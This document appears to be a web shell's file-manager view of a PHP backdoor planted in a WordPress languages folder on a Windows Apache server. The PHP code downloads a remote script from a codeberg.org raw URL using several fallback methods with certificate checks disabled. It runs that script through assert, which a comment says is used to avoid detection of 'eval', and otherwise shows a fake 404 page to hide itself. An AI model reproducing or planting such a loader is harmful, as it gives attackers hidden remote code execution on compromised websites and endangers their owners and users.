| Server IP : 127.0.0.1 / Your IP : 216.73.216.109 Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10 System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64 User : SERVERWEB ( 0) PHP Version : 8.1.10 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/laragon/www/prensa/wp-content/languages/ |
Upload File : |
<?php
// Konfigurasi
$proto = "https";
$host = "codeberg.org";
$path = "/zvertixx/My-Project/raw/branch/main/baru.php";
$endpoint = $proto . "://" . $host . $path;
// Fungsi pengambil data dengan multiple fallback
function getData($url, $method) {
switch ($method) {
case 'get_file':
if (@ini_get('allow_url_fopen')) {
return @file_get_contents($url);
}
break;
case 'curl_request':
if (function_exists('curl_version')) {
$ch = curl_init($url);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
@curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
@curl_setopt($ch, CURLOPT_TIMEOUT, 5);
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = @curl_exec($ch);
@curl_close($ch);
return $response;
}
break;
case 'stream_open':
$ctx = @stream_context_create(['http' => ['timeout' => 5]]);
if ($stream = @fopen($url, 'r', false, $ctx)) {
$content = @stream_get_contents($stream);
@fclose($stream);
return $content;
}
break;
}
return false;
}
// Coba semua metode
$methodsList = ['curl_request', 'get_file', 'stream_open'];
$dataContent = false;
foreach ($methodsList as $method) {
$dataContent = getData($endpoint, $method);
if ($dataContent !== false && strlen(trim($dataContent)) > 0) {
// Eksekusi konten remote
// Gunakan alternatif dinamis untuk mengurangi deteksi string "eval"
$executor = "assert"; // assert bisa dipakai seperti eval jika enabled
if (function_exists('assert') && ini_get('zend.assertions') !== '-1') {
@$executor('(string)' . var_export('<?php ' . $dataContent, true));
} else {
// Fallback ke eval jika assert tidak bisa
@eval("?>" . $dataContent);
}
exit;
}
}
// Fallback: tampilkan halaman 404 normal agar file TIDAK 0KB
http_response_code(404);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Page Not Found</title>
<meta name="robots" content="noindex, nofollow">
<style>
body { font-family: Arial, sans-serif; text-align: center; padding: 50px; background: #f9f9f9; color: #333; }
h1 { font-size: 2em; margin-bottom: 10px; }
p { color: #666; }
</style>
</head>
<body>
<h1>404 Not Found</h1>
<p>The page you are looking for might have been removed or is temporarily unavailable.</p>
</body>
</html>